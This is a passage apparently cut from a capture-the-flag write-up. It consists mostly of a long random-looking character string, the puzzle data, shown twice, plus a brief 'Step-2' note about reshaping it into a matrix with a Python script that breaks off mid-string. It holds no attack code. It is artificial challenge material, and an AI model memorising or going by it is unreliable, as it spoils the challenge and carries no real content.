(ooNE^>DjwH9hhHv_0jP&?4(TXy]+~2>M2M>YQrhxL;v3a95ikYokRq9l_:Z&j4irHC6?}Fqx9F|r]+9|w+:v7?RLEBuMG<]a@ojQI~y^(H#6^R6DTLGzn+Tk(jez+q<+k(L}T&Htcak+vQj&_qcc+Nv6qj|w^(q#P{_en](9zDkbKj4SYa_xb#yPqxyMP[(TN)BH!wh4uKV_nmJSgUbeF8PJ<5na3[ad29v4&2~L:0o(Tajs>+]:W7o}TJ=jzYa)hxzk~055|{#VMW{UX+4=cQrI!_?V8u5yPIEPAZ;ack_haq0^0R@i|^a(rqaq645_2r>0jP-a14LcOiCoS0AwV~)Eth?u>G]P6U2L=-X(zC@8spJ6KIq]Xm:56@kbdI]gnrfwjkUh&Fo(n1Lhhk420SA#Mq}DN1{2qm0mFH]j{grzx5B1+=p+;_gwai6|pO&TNNXrZf}]>1JrQUH}&A[40DSo2a40?oa8=~|r8(qkVJ_K|Naow)2_rPhjw3P|n=;_>(TTv&iXy!haa)A{OTpv>8o6()LiG_8S}hjUYMIxp;0n[9hsQpRLpA#a}GpT#4SuMj5G9Zr?hRkrH^tazKq#mKk#;cTLr8|w[IT3&bY!C8a#aH-5SD_f!zmkkZqUyIH([h[PYu[T;oJOQ[;o2<[!&aq#Gxa#u3No{harkHt_yT^5>Dk)S|hak4HKs[Tar(4mre;OElu{tz!^_rrD&Ja#ij&pT;_(:hmhPV=Ea9dTNJM8K3jjYGL)qAhVH-H_B:<^FB3dwqre)fe=Uf5q8D@WWSHQrYKs~F1Z]TLXTk?_kF6qL6ObUdGL:>jq@a850PP^-a&#U4Yk0Ch&NveEGe>y}?x:-^RKUI?jBj(LFg+qoaF4jz6|8;cpMX3]e3aNIa(;:0qaa2hMAeCSrUO?cbI3>3<5[vWal?dM^)9V40I;VXVOr@||zAy;qro_~R-cmd@E3lq]:{CeOo@jo_y_6V@)yFGoshWZPb4XlvBF_vES60jo39|s4ItA(:P_onV[rJOfq#)wNpU_(&9(ue{m|!0PU&h;jnqaov5W6fn?R#qPDmm|oSha(iOvj>]BtSdal@W4oWi5?RDveQaqrqP6)}oAy{MKq(jLYHh^!KT;tI]!=j;k}mtKhRT6HZFF@_dwk[ea~_SoaOakg~o!h(X|_JR7am^(BKQw&[By|sQ>z{|aE!}::+Hl(!@AMZDZ(wlq-T[J[T~{wWv4:dk@1^L6(]t![uiz_+rOnUv0rpAvjQrO{3dr[q)Yp{Zm7]F:vywp^q_AgacxoT^TKu-H]j8=YCS7TV3hY+|82@(p}C3a(alW_W(dGC4q|rw@X-AFgPOGp]sB!;p&s1jQ9Va_=_dg1L(^-alRj|p4&s?f3eF_dDs(p2M7Frj!qh+H@^S(2spq3_#IDPk!2+Q(!+llTB[;v_YgU)8~QeaTB?_r7dRy&3hv{8vXQz5l|6+j=J!xfPosd!BU)KvdMG#rhth2q(57FrafGZUhDzHnlSD_:bP0KANH)&Dx5796Hk};pwOhz)[I_(&Qj!ri(Alj(wU[QxjIq=ofK&:(_yj>_a{to7?2xIUl;tX[_ade9aWajh6PW_3c8=~T!|1=do6dhaP#4MayFjGGt=qZST8_dz[vj;0n3Av((5=fNoUQ~fE!AQ6)EGy;NfBgduvkq5xmrQ1:07Emo^>qqw?eY__#z3^mUFWhfVZ_9LD2M[juzZ(amP:?=k>(2#@V8#4Vs0xULP0&QaE4kayI=6VZ!+J+Ey?zva9_|WT3cQd+rTO&2XZUpwr8B);sN-gHoWKAf7Go@dBJd#CewTX4B?]tRRvKqqr{ur3_P3pV_la2(e83t[R(^(;>UhUnN-vvwUthbEX-@={ZVTY>a?5!#J^qH]YhG1r7q_[ai2o4jm5NJ9oZ>pTUnWZgE-&]AfE=3]Y~ogo6ekoJer5QqSa>?wg-CG9Fe+9|q(u-NexpZq?MFagjP_zuFLrH_80E&~aYk1bLa&F7v0B6P#!S9D(eUj;_F3[wmi5PpufCBI@K^zza={avmo_=poTnCo^X~tvdKAo;-Yt!g;wa=hr;H4FcB83kWhE{XdoWqHOjPA#E=k5EXwXgFD(-)k_;J(NoW@HBN0kPc_PREGJ(9<()|wKVIfayepQh?@=rYwB7:r=L)@aSJM8v+1J}[z19k(NJU0Sz4i?)h=KzE(RPf=A3VMQO]_+!VXd3U3aBCdr}mTbrg#=!g3Buvh-;KHnx9UjLGwYczJcyw=V?=RXW97o:~E7J2_Z9TddMuPj148wQQ(D&naa[FJG5XRyenwoA;[^AH;~&CiAsjoF>A#4G)[C(L:wTk;-NdV?7k&g1tBj!0|>hMH(cUFa>+jYkq#CN;TgwQW#Yhw@a#O-Era;W9xpM6]|A(IPGjIqk|nh8;n_t6dk-wYZhufkbWj1cUa_?=uOor)Bj#Ghv4&ES2P4k~g[hrH1iajz[1f-(gZh[G:V_|r^[_nJoM-f{8sEXI#]_sV(oEH]O]OkU~234+=;X+vjfF)h{xSbaZRr)scU^N@EF#B1UPTXaQl09NYQS8QjGJIUjhB?5{a:p(3sOnrumnVro;ZoA8:p(IphdeiDnqy!aK&2UqC7qfYVc@5z3jjaNKbkqPI>9nyH42rTbTT[BW1_Ic@HwT[IBcPj2VORA?rE):@kY7gj_:ALo=DCW(pHCvPZ[0{nXr{n-jtPPqOduchq{+e4&:)=BNRoUjKw^aPhnkn3:W(:?6:__(60o@O^!Xd1a3>apNlo-OrVYbno6oK@910(l5{PamPuBYo)]sO|zHjTV9-3rp+FrpJ)Qev|q#rydS(iwaCtZFnB3oFMtLJ|QL3_IvC!p+wo~[o_8OI#XAI1oGF|=4q9((65(PZ!l<9ppea;ywkSvaLGanmC8Y]gu?(16j8NN~Pb2bJ;7(PRjrN7WS~mV[972Kt8(9qFr4+A@>KpBliLm}Ws&V4ED_q!8t2jXkuo57]{OYAE5#cx3RM1>P@V#U]@vro@4h{TGfhIJTh|EOD)[ua5vhj^aekhdrlhq0^}fwL|3-G9jVs}9^ff58|YT@|)1_9p&!q}FZ5DuR5}ehJg?|;uYZmg![o3(~CJ1rcoTkLe;mo]qy@ng^{KggKLc>L8_+gJwhxGt!jy(}?:iT^uj-H(a?sHjFs8~[97M9zrZ!mne@oLcBIrs~]>=-UKrg7Nc3+JTy?j8W=BfO{4jq::fac_2NTJw(5q142W0tr-({:(FRZi}-owaPC;u+paa>UHgJq[#8R4bwk8+ht9Dz=iKe]H&P7?qDZ[47g<:I_[-gbkayq2?hMFaD;Q1hk@RqIL_hFIO-BXVxOt9knhQkjd@R^EniZW9No)GKvyeKWaa2&9D:>;!#UT+8^h4&q[phO9GFv&s=UUxo(0=Xy6_dv3&4Vo:OuU!m[BG^oEULAfyd&7hjer]xTa!NHVoFc!nRMBdG))locXC?VkhW={mL:y3F@C;_)Fq4QHoE)AE^32Wo?N8D&kkWex3~aeA&N6P9j?l#]iX2N}]_(o8Nxe7A#xnKj4~sJmqP7(-@!ap}rhwe>cyv038yu)VDXKYq7pGO6PFsrO:hojq8ol4zpS>2Wq6!UR4(LV[C?bh]T5]o6k[&+k)_~j#1sy6pd9o4_Ia|aBmynWzqhGd7G~albhc_66&&XYP@;KqCvLL~2JKu_(c+~3jzK265bCt4ki>Jpna@V>f3[A!Ca~(yJv6qa_orsP_Duda1nK)EoA:ID]Xv_Gm>2Y_3Tg_X8c]UGeGL-KWF+wZr=YoY_5j3Gq-KHWBU)=Z|0#?D7^(0X]oJdEd:X]J:XhZaBfRd)EX|t(TqRbF1oj^v6bODn&_O)@8)^EgJhlca>ZSI:(rqPNm_MmUHD_0:VE1n;(aazjh1(PMtt0ho:7={h=cKo|r]:!kYkmp-=aL{)8|N!B2Ha8qTTXL^8Q;V(H91^U[BGo74I915uZl<_D00_{kHGHCB)C<}5p}f&:|jiX!#R_ake3P&_Cqk(K[N&qXnkPkjekh_=nUX8w[->kV@qsI=2BgWdQYUz?M9@2;9c!?{}DT_kU4a94VRC6tMk-9o@pYFThsUs99aa?bkIGOa+ap(SB>G}~Uib;a3jF?Egh?hIAA>hIC9jJ_RHq(OJ]_K(_;^:^JH8O}Am(repvqKaQR~yioqXd5>-2#R{9{^=ftj3e(cfX!_Qa]F-wrO7aoCc&Z9#ae-^Eqa&jqA64N>wlLOr1DuhdJGHH}~b0ih0RqD~#FC[0|[a2rj5f+&g=wAra=K^@>qm1MBHDYVc1+apl?;d-VM2_iNlPxQPd&1c7T~P>g&+:-T@H6mWQ8ueEX[:Goj?F@P1f3k_sA;pKK8bk(ZMmL@Hoy5([wGoTIGf_YJ~hb_Wua^J^(TjdhgTVLt9)t?_5DJSla}HM-fPei}|5{hV{jvc[v[QR#^_39>HYq=(Mrq>j0nkwGydRkFc&yi+QKd^PsJA>y~e|98XURq]J9f_SGB;XcbN:Bk>!BaF+EFK!u^zDk_l|mk_1roFnoWtPdUeC6@(y||hGm#AN(T(s?ED?XQTFI><~DPPKuVJ&ckw(Da3H:jOExZ8a?fYKisVThgM5&GIAa3_|SVz=J_abjXn(HZF+c(Poi|1jOCx)OR(bc(Kpt1G(uxcdio--(ms#_W(]eYMCB@xjv1R!}-QZkz8V?fj4Gdc-Sf?(LGk]d]8FLKKgN>JGEWjC:1OjeY:d}W3hM&T_Baj3(74:Glo(|H(45{O:#QH=_o2:S13VYrQdD@mg6grm3c(PLazu?V_boEapmc#p_Mha((r4(a#lVyFc6@0{nx2As8ToKjEwe9a1;2Q:hi?7|UyJ40_x5dbB&vaex4+TsGhwxuRLNuD|qq=LaLC+S;QddY:WLjW_(G:#EU<}sWWv~DO0M[|h~OrjyTX(JZgz~MOyXF6?#n(ykrXq16(EjxmGuyCr@?Xoh-0x6w&MaFBArGh=3O7B3fA|k5}#[U)-S6zNo~W1}ae[Jt<0cYw3J0-XwZe:4mrp9U[bcAad8:h5dkOjF^6algkVjE>l0GC5YBJ^y[w&3n9ajfW9n?5zK9X]Ao4ryyj(MGl269#|D-~2OvT5_k578@9>?HM=aai:}EY(Qh496MbnG[o_3q&Ce6|f)h!5~!gaAe(seQ;dpXyORjz_qVja1h2|H3uSe3@AY&wV{:Qaf6SOYq>qd|JkU6i0D1hk}+y15B&T22]-;ah^:RhbjrLxC(rsR+nEjufEChz;UOC9njc@hfSO2{WiqZ|_]((aI_F]ZqJ-BTWKO9N#3iGVOhkSkO+8[IA!6vkk#]GX>UL=mHC|!=i[r}rt9&yZDkF|2G;y|BA=jx}K_l+|85Chhrr-=qh-9jK0lhAx(8+drQ7sS!=Ny!-~rvIpKM2fxHGyPE-uWatakox)#s]9TV&hqPGFpB!ztla{EurB(daIocPXAd#1=BlozN=+]ktE[Q&(:mFmh55B?kN8U!R=}!68hszhhD^[Utmqo8_IFMl~T:(+ZgVqT+H=!__=ev5kB5q#hl2_0zp6MQyypKRK#1i}bja2MhzeqD0S:r9M=(GwkzkNbqaSi?>Wc+wg_BA?Rt[Bd8iDAkk~eIW++bh-]-}6k87lb|Y__lAG@ekzj:ToYD?lea}6)>~t+Ku==C>+(p!V^hMv6bq_)1+~akakA@_|SWp])(k=APgajr&IRN(f;nf[rBm[[9m!r^NgU9H0Hq!5ID:_{~>ak@~aNK:PPh{^agw|a;SlTz!}X_E7Y>3_ak0Rv7yB;_YpbuWkl5hQ4&#}cZ!f#+Qboz#6M~Hk0O[FMNJF:kZvr7#AOg^ooapNwogDA99!pfhhaawkgDowr=9X:TafaaCFgX^@wIfdS{Z[a|3X0gROwKpa6?1}p[aw7uizO_#(|q:q46!^gKO0NOf21zcF)nNZ:kygH?p?qg{QnKc}(Zs?zy?KFyOJ!I(td_A#Ranq2SWjQWrDrb_JbZtKx!T+hxQQE>Qfrhg47nbOlKAUPxe)6+4b:p7oa_9xO7~Ll4P6ZhW705pm:?)(B5OE?P9?ajXGAk 9 | ``` 10 | 11 | #### Step-2: 12 | According to description, we try to form a rectangle. 13 | 14 | So, I wrote this `matrix.py` script to get the matrix form required. 15 | ```py 16 | str = "k##op_;YEl4yTnwALsy|<{(Ax(ljZelWjMK=#WmjO{fS2bj|QoDWoNWQ{js3o;I91a=JN_h1YNto)[}:Q-wVMan5AOx4N_q8GVeygemdPLJ7#J1NYx^mMxmi:U4^E4j9#~qxO~E@}){BiRKLt?:b4(~fhavrun6UjS#?WCQ}MLH&Gia]oagfbdspk59)i;^broM}ziIljer)fKSa}_M2x_&pk>e5OW_~}ajx31{eVs:VL]2|fa)f5Y9pu2w]Y2c(nTyFeT63oCK&g9StRJJ<(qjJI&J@arTB{QQZ6aKB>t-Y2bhA3trjZ7+9Z]W4islo=_h[JZ(C6>?(rJbpKgvzHLlZ[(D=W(bU9VZtaAxe@lqG}^~7CtapL:keC_;#{b@vq5|2DUhqrR!;gQk!]xy~#1_^xg(9c)C5[4FraA_[GPK#Kt=hspI6hh?sE&2LaqFSYWFnSx^N8_sRo~jgqmaKgaiiz8Zsa_>RqRyq-Ho(]WE[bi5GKv9xng36lcaZrikP4Y@U1h)RqEQnUqtqHoqsGvcuERl_f9G5]_-Ek;v6k?_jYRK#UNoDo8k__{-K|^o|YqN_3>mRdjCL6xrq0R=uJuB}oU40kq?E1{~M5al-u[;_&R9[(<|CEI#aqYeIBWhk((x};qimPJ}e)amqujLelwap9X6Y(IPzjzo[a_rn?!hpO>v#5da?40YqBqpr08BQ|&e:8GGu0RnUdD(c|p&EHijh!zn3Oa[(IU;2-_#w1Hg8#=5oDj;|vN=TU9mk_rdpAJy;:WsgRAjdn6VvOrh2hKGd}{3aQ8FyyGah>4(~akLldQ@M)?NX;]Jwu#^|6id[]^xPr_1TT(h_Z~MkTSnEQ~[X7b-iFPk@]SFh(M@U<9#Er<4d@U(IsKjsP_UajFbXhGC=x(Nqrraf~sv5FDQTEkC}Sq8r4V>mBfC8WkX?7-(Ra_qTR80QI;CI&_>pdHJ@{1zj{4&Gr(jz;Fe_c@RbhrN0tU:|Zra@~gHk7_j[}fWa]jiyX?gdp-kQG>EK1{zK;<[&9SDRPTDU;wa3h&4lTJr_ql>SEoc({+d{K!k(a[KAQ&:DeZX4Sg;RWNhFXvLNBpG@9_qiJZL+CkIoa{w(+K^~GSaThaIe#rR(|{R]nU[qlgqneb{nK&Quj[8JM<6)ZhE[R4dFCO}yb_3#T;~Z{Fsm-OfHH(T][g9oHda-<_XN(1aBCkd-QdrCFA#gkxqt&YyM32~0Wqe?lDo_Y&><3kD|>+QH4?v>0|98!yoCte>U}w8i!ANr{|z(+QjP_hYnraC9[gXAask?9dWDm5IS=i{cRSd(qfoTy#K;E0jo-ux}#9Y(mKjD(+Or?RPqt4!yy!a(WQ!l5j-rv4_:ap5Sc~o|4yjh&y|[Tfax]x>t!|W8|Uf[_p:X:i>jCT4TraJ]^>N(oKi7#Z-gw_KV[agetK~clJH[!r1hi_6MgWgeWRw:JZB{Da+1;kuekq6a#KhhEE^t{]4>;5]ahj;w2sUf|z}uMR7-<9Tqjpro5twvhMEur-Mrj}~XRG6:O=}-zLf)J7T_)qf(^scozV~:_vFByNE4{r5ah2{kGTQ8w&hqAY}Mt<]9^h~uMB=&U:O}#f:4jIRb;jL@gHi~k4sqSNYqQhn1SDA&W=32ysh1_urq_6<=OWM(-LftDo_~iOQO1U?kWo;XV)x8iyHh5~oKj&-GWVtQlko+vTo^W83(z5@O4|Z;Qh<5RCp#dZT09@TI@JT30[QiT]7q[qr#o;z1d|Xr8F7kv>h;8:&PuNp^=H4[Tuz9eaZkup:4Nm}R}V&j47Dk#[aDP!)Ft5M<~C3DO1R(d(Sa:8aoyi;0U89;aST|}4=3a+!IazY:;1;j7g_qHQRa)d0S_b;RMDOR?okGkNK_oalNbC8:ftOl1atNVU(X_oXs~ZP@FFoHv:YuDh(g-hk-I|3aoSkL;{jh4G>98Bv~oNBuad_|0o?Cjq]vjfy5joPV6gjI^0v#+&xB3VkroUMGzh0_[0Y8U:R+)}F4(V0g~!C|oC=8q=b~I=?ntO[Y3lWAq0Fr(=:qEAi)MWA5Q]:(|9tf5=SZJ]!CPdrc4^?M=-gh7ibdq[DwQ&B-lV1x6yU7oDPRSj+D&Pu>-hoz!e[UKXIW1{kA[!t;?np~Df]_<2c}Ie7(av6lmfoljEYYleGaourJp_q!Hi|hVZ8|gZ6[wsmj}^zhFsPTCed3=Io<70#UIzAE5aJq7{WErvG#)2D]j0L_;q#Z~raFk+_Lw3[3(1suxMO293tsjvTW(0LT|xag:TAk=sN:j4At<[!a&kQ>x8ZQg5S_O}c(gxoo2_y-r_YI-rI@DZ(qh~F&h8Ovu=-XX=7orxdqHJ>BLt}e0yaq]JKU>b!-Dk4_4yZ&CamaG8qRhk-T7N+u-oBr4q~o]7aNFs5=i6Q!jagaQfg?ku2T91(aSya_M4i2DOoNLG9Q7(ccqi57CGGajNC_}rTw}JGL(niDuo2Dgm]:R]c&4HqRefaNoh<]=6[}T5cJW06G|TgMk^#_q6DhvLw}D(jPkygKyQjAGFugh@bWh+_Hua|HC_wK?sT|QX]4B!wF[8aZpoBP+0{eR(a>U835p!f1f=sd1VK_!(2bbkqMMk4a;tx?Kkyegjcx6!au(^eEym#gkTke4PUxv=+Ev^o~oVqKeA|aj&p2_jaShs)A>_8)pjaIY[d)-adDoqx0h^k965Dqlk;#!Bh|]_nI_}l:QHdERi|]{=jiT]R{kaExhC~!}-k!{PhY#?GqgiqDY;xUUgg8OD!FVj[Cn7W-@|8+F?U1k}N(h(P>Rb{Shxo_{rk_vx(:}ZkGfDL8Vf5;_Oe0w&Ur^fEePMj;K?-kh:i|Y0NNYa8lj_]=a[k9SkB>C4gWNbl:A!7Y1Vs6s@ZvGO4G]dz_Rjxjy7K&jr]mTQ@-w7qtWE5lM]aih|h65BukpnGllzGryS1EBVTPym^ss[L;1C+(aa5H~|YG5cCnbq@k2&T(]1(DjJqKR=QPDN(5(;IYrr0TQWae?C:_nVQ{0NC8iwQVh@O~Jq>K<]jcoRrqEVYZjo(4ZaN3CMeka2sClYojGguPI&kq7|c>k74+i}ZfjccBB1r@W)cU{It3nIpH^DvakL+7mA&S4Q;4z_(oA<1]k6z07PN!292)uv#Bdj}N=aNo_rKqqNkr5lc||ohq1(4A?(-U_mdpv9|C!TL(vI9bq-m&fZh(jR#vW)>NEOgUMeT1Ui}k7XM6IcIl]qB)(PbMM&SgBf(K=X|wj4asGdIZajvoD?(tar?:Xose_CAqPa{7LFuc?F+W::DA@)_qfkrn|-tyQJ|qVLZCk(]q?LC#{2(;vgYkj_9KD5)&ZFrFrw?|hkJVie^@i(9d6?Tj7=nKZ{|!c|qfhYT~Qy8(k|0mELaN&oU>x3DD]dLpuV}Fk{w|yIR87>bU7(~I)KhI})a3P+gXlw5g7++Pxh@XcIx]h6R7))XB]UE#a0boFaB|wY)X2Z&?-oiPc23Ghj^Rh1}?kIKkaaI!zpM;^WNb_CYhZJUwThHqC{D8{uWb?V{@m4a#akXhc[FO!?(ByNjji>rako8fYX-@N#!s1aJ3GNI##-qw9@J&Z?|fpf2E<|akhLafXR((ojjm4s06I@uayNvY;EdZ-8?Qm(r9R>Bg}k;_()OoUawhjsG#1]as_Dpz^WKwaq?Z;l2AGo#{q0m+FB6{KD|?r?n3~>sHEw_aHQ+Hug#95]zAqDZ@+Ie(IT;5x3K@_MLqd(jYm6m<-b9JBPVfuksgoeXKaJb0o!q_=cl2;!~@ov3zY)sW9sZs-k0ooaaB5~CJ2Skb[w9;K2rW_T{e@(Gmis|ma|HX>?1a(<6-SD+N>jJR84_5Qd7Wqq8kc}Sq@{r{nxz2q0SOeKDDKPUVA2Ll=XYlyax9A9rAWB7}a{Qz+p0_{k(T!]0j=tjzRSF0aa(3^m7DJ;zq+qqHdv:y#~ww1BerwvREr_WG@v2DBF9&uVBu_C8WzlVuqNwu3F4BY<<+!|mkn4xKhj&}v3nXcq!QiP{!V48q9O(C0mh[3-e:T=bntkh]_eEwEe5UA5Hdd>x:S]Iz}EM:2(^tqiMX[BF[)VuuF!P;5Z8k)#(kb=]P6v]#gOZLC>toB)ThD09bJnNN|?y?KEM_M>D}WR~[dbo(G##:NaZc8Jam8YsWqiaecop9f#w+chfQ=epOajrKPaLWROFJ4_oQJ|=59CT)!NwieNk[Rd|h^z^|(#jZ05dQI-_#+HJ[SS2bCwIHYP?9A^-=^9Ch[+o8KiQleP!xZ0oth4agpbIoZcH{k]FC(goc0LS)]fXbWvsv~k84qy0-0O2oQ@MKytaW[KRTLhP2oa>2aR(B0DWPdtT9vwwpklFMwawAHO>?7VAlPY^qW|:C-ryr(k&GH)u7U(nNVZUr[r!Ifa^n3+}?_IhHoGNaa-jhbo>h1MR(SJ]!Njok>w7UNqco_toINq(Hvh~Aa8JaZ0WaiKFa>X3u=bq-~):6e!U]O:J}@Kh!)ed0#r[{Xzm-wZ(S(yrx!8rHoNP5mxj+(#NA5a|k-S}gG77;ao^>q3Qjrdcfp3Wc;4~EaD(]S?6TOHdJRoO=YpeL-dknaPp^2Nt_h&q0EI3&nHE5qD1b+ypUq_SjeUtIz09kkft3JnDY7rhFTIof-Sks]5kEKofQF;IUah]WuL}8AV=?t1z=83k87QV_B)TZV+s-)5gVp|p-D7hHkAiZlr?RJ5{f#{~qi}_kxDjGkO#EDeva#:Kq(X10JMvnKXULq~kaXw==3Sy51I^aOy?{FLbD||aTSMS7V4E#]S~8KkXLz^4rTAx3rUGV-V?({Tq_Fn[Aj{B;pJ&azT}Ya6iYU5ja{(W-rjopH(mh}xb~22yW7;~j9{5jqw?FnUS_1rknieytoKhG?^8[A=jvy@ed3Wmw[3j=uV(n5HIF:{Xhv7ha?+d-Ehp?DApHjh4QH-jZv3XFn6J_NEvGRITTVqqnbQP;?eAh8Wmkm}Q8vZWp?o+^-n82szY2jy#0};s6msv#!4aI~^2QaZY&yQvfs0_HB?Xv26L]rjV]khuqa@c3!t_o{li_]y68Xa^h=}^UJSSX0-(L(pjbJ8Dgr+Rt0=_0tt)1u=L(cZ&Y(ooNE^>DjwH9hhHv_0jP&?4(TXy]+~2>M2M>YQrhxL;v3a95ikYokRq9l_:Z&j4irHC6?}Fqx9F|r]+9|w+:v7?RLEBuMG<]a@ojQI~y^(H#6^R6DTLGzn+Tk(jez+q<+k(L}T&Htcak+vQj&_qcc+Nv6qj|w^(q#P{_en](9zDkbKj4SYa_xb#yPqxyMP[(TN)BH!wh4uKV_nmJSgUbeF8PJ<5na3[ad29v4&2~L:0o(Tajs>+]:W7o}TJ=jzYa)hxzk~055|{#VMW{UX+4=cQrI!_?V8u5yPIEPAZ;ack_haq0^0R@i|^a(rqaq645_2r>0jP-a14LcOiCoS0AwV~)Eth?u>G]P6U2L=-X(zC@8spJ6KIq]Xm:56@kbdI]gnrfwjkUh&Fo(n1Lhhk420SA#Mq}DN1{2qm0mFH]j{grzx5B1+=p+;_gwai6|pO&TNNXrZf}]>1JrQUH}&A[40DSo2a40?oa8=~|r8(qkVJ_K|Naow)2_rPhjw3P|n=;_>(TTv&iXy!haa)A{OTpv>8o6()LiG_8S}hjUYMIxp;0n[9hsQpRLpA#a}GpT#4SuMj5G9Zr?hRkrH^tazKq#mKk#;cTLr8|w[IT3&bY!C8a#aH-5SD_f!zmkkZqUyIH([h[PYu[T;oJOQ[;o2<[!&aq#Gxa#u3No{harkHt_yT^5>Dk)S|hak4HKs[Tar(4mre;OElu{tz!^_rrD&Ja#ij&pT;_(:hmhPV=Ea9dTNJM8K3jjYGL)qAhVH-H_B:<^FB3dwqre)fe=Uf5q8D@WWSHQrYKs~F1Z]TLXTk?_kF6qL6ObUdGL:>jq@a850PP^-a&#U4Yk0Ch&NveEGe>y}?x:-^RKUI?jBj(LFg+qoaF4jz6|8;cpMX3]e3aNIa(;:0qaa2hMAeCSrUO?cbI3>3<5[vWal?dM^)9V40I;VXVOr@||zAy;qro_~R-cmd@E3lq]:{CeOo@jo_y_6V@)yFGoshWZPb4XlvBF_vES60jo39|s4ItA(:P_onV[rJOfq#)wNpU_(&9(ue{m|!0PU&h;jnqaov5W6fn?R#qPDmm|oSha(iOvj>]BtSdal@W4oWi5?RDveQaqrqP6)}oAy{MKq(jLYHh^!KT;tI]!=j;k}mtKhRT6HZFF@_dwk[ea~_SoaOakg~o!h(X|_JR7am^(BKQw&[By|sQ>z{|aE!}::+Hl(!@AMZDZ(wlq-T[J[T~{wWv4:dk@1^L6(]t![uiz_+rOnUv0rpAvjQrO{3dr[q)Yp{Zm7]F:vywp^q_AgacxoT^TKu-H]j8=YCS7TV3hY+|82@(p}C3a(alW_W(dGC4q|rw@X-AFgPOGp]sB!;p&s1jQ9Va_=_dg1L(^-alRj|p4&s?f3eF_dDs(p2M7Frj!qh+H@^S(2spq3_#IDPk!2+Q(!+llTB[;v_YgU)8~QeaTB?_r7dRy&3hv{8vXQz5l|6+j=J!xfPosd!BU)KvdMG#rhth2q(57FrafGZUhDzHnlSD_:bP0KANH)&Dx5796Hk};pwOhz)[I_(&Qj!ri(Alj(wU[QxjIq=ofK&:(_yj>_a{to7?2xIUl;tX[_ade9aWajh6PW_3c8=~T!|1=do6dhaP#4MayFjGGt=qZST8_dz[vj;0n3Av((5=fNoUQ~fE!AQ6)EGy;NfBgduvkq5xmrQ1:07Emo^>qqw?eY__#z3^mUFWhfVZ_9LD2M[juzZ(amP:?=k>(2#@V8#4Vs0xULP0&QaE4kayI=6VZ!+J+Ey?zva9_|WT3cQd+rTO&2XZUpwr8B);sN-gHoWKAf7Go@dBJd#CewTX4B?]tRRvKqqr{ur3_P3pV_la2(e83t[R(^(;>UhUnN-vvwUthbEX-@={ZVTY>a?5!#J^qH]YhG1r7q_[ai2o4jm5NJ9oZ>pTUnWZgE-&]AfE=3]Y~ogo6ekoJer5QqSa>?wg-CG9Fe+9|q(u-NexpZq?MFagjP_zuFLrH_80E&~aYk1bLa&F7v0B6P#!S9D(eUj;_F3[wmi5PpufCBI@K^zza={avmo_=poTnCo^X~tvdKAo;-Yt!g;wa=hr;H4FcB83kWhE{XdoWqHOjPA#E=k5EXwXgFD(-)k_;J(NoW@HBN0kPc_PREGJ(9<()|wKVIfayepQh?@=rYwB7:r=L)@aSJM8v+1J}[z19k(NJU0Sz4i?)h=KzE(RPf=A3VMQO]_+!VXd3U3aBCdr}mTbrg#=!g3Buvh-;KHnx9UjLGwYczJcyw=V?=RXW97o:~E7J2_Z9TddMuPj148wQQ(D&naa[FJG5XRyenwoA;[^AH;~&CiAsjoF>A#4G)[C(L:wTk;-NdV?7k&g1tBj!0|>hMH(cUFa>+jYkq#CN;TgwQW#Yhw@a#O-Era;W9xpM6]|A(IPGjIqk|nh8;n_t6dk-wYZhufkbWj1cUa_?=uOor)Bj#Ghv4&ES2P4k~g[hrH1iajz[1f-(gZh[G:V_|r^[_nJoM-f{8sEXI#]_sV(oEH]O]OkU~234+=;X+vjfF)h{xSbaZRr)scU^N@EF#B1UPTXaQl09NYQS8QjGJIUjhB?5{a:p(3sOnrumnVro;ZoA8:p(IphdeiDnqy!aK&2UqC7qfYVc@5z3jjaNKbkqPI>9nyH42rTbTT[BW1_Ic@HwT[IBcPj2VORA?rE):@kY7gj_:ALo=DCW(pHCvPZ[0{nXr{n-jtPPqOduchq{+e4&:)=BNRoUjKw^aPhnkn3:W(:?6:__(60o@O^!Xd1a3>apNlo-OrVYbno6oK@910(l5{PamPuBYo)]sO|zHjTV9-3rp+FrpJ)Qev|q#rydS(iwaCtZFnB3oFMtLJ|QL3_IvC!p+wo~[o_8OI#XAI1oGF|=4q9((65(PZ!l<9ppea;ywkSvaLGanmC8Y]gu?(16j8NN~Pb2bJ;7(PRjrN7WS~mV[972Kt8(9qFr4+A@>KpBliLm}Ws&V4ED_q!8t2jXkuo57]{OYAE5#cx3RM1>P@V#U]@vro@4h{TGfhIJTh|EOD)[ua5vhj^aekhdrlhq0^}fwL|3-G9jVs}9^ff58|YT@|)1_9p&!q}FZ5DuR5}ehJg?|;uYZmg![o3(~CJ1rcoTkLe;mo]qy@ng^{KggKLc>L8_+gJwhxGt!jy(}?:iT^uj-H(a?sHjFs8~[97M9zrZ!mne@oLcBIrs~]>=-UKrg7Nc3+JTy?j8W=BfO{4jq::fac_2NTJw(5q142W0tr-({:(FRZi}-owaPC;u+paa>UHgJq[#8R4bwk8+ht9Dz=iKe]H&P7?qDZ[47g<:I_[-gbkayq2?hMFaD;Q1hk@RqIL_hFIO-BXVxOt9knhQkjd@R^EniZW9No)GKvyeKWaa2&9D:>;!#UT+8^h4&q[phO9GFv&s=UUxo(0=Xy6_dv3&4Vo:OuU!m[BG^oEULAfyd&7hjer]xTa!NHVoFc!nRMBdG))locXC?VkhW={mL:y3F@C;_)Fq4QHoE)AE^32Wo?N8D&kkWex3~aeA&N6P9j?l#]iX2N}]_(o8Nxe7A#xnKj4~sJmqP7(-@!ap}rhwe>cyv038yu)VDXKYq7pGO6PFsrO:hojq8ol4zpS>2Wq6!UR4(LV[C?bh]T5]o6k[&+k)_~j#1sy6pd9o4_Ia|aBmynWzqhGd7G~albhc_66&&XYP@;KqCvLL~2JKu_(c+~3jzK265bCt4ki>Jpna@V>f3[A!Ca~(yJv6qa_orsP_Duda1nK)EoA:ID]Xv_Gm>2Y_3Tg_X8c]UGeGL-KWF+wZr=YoY_5j3Gq-KHWBU)=Z|0#?D7^(0X]oJdEd:X]J:XhZaBfRd)EX|t(TqRbF1oj^v6bODn&_O)@8)^EgJhlca>ZSI:(rqPNm_MmUHD_0:VE1n;(aazjh1(PMtt0ho:7={h=cKo|r]:!kYkmp-=aL{)8|N!B2Ha8qTTXL^8Q;V(H91^U[BGo74I915uZl<_D00_{kHGHCB)C<}5p}f&:|jiX!#R_ake3P&_Cqk(K[N&qXnkPkjekh_=nUX8w[->kV@qsI=2BgWdQYUz?M9@2;9c!?{}DT_kU4a94VRC6tMk-9o@pYFThsUs99aa?bkIGOa+ap(SB>G}~Uib;a3jF?Egh?hIAA>hIC9jJ_RHq(OJ]_K(_;^:^JH8O}Am(repvqK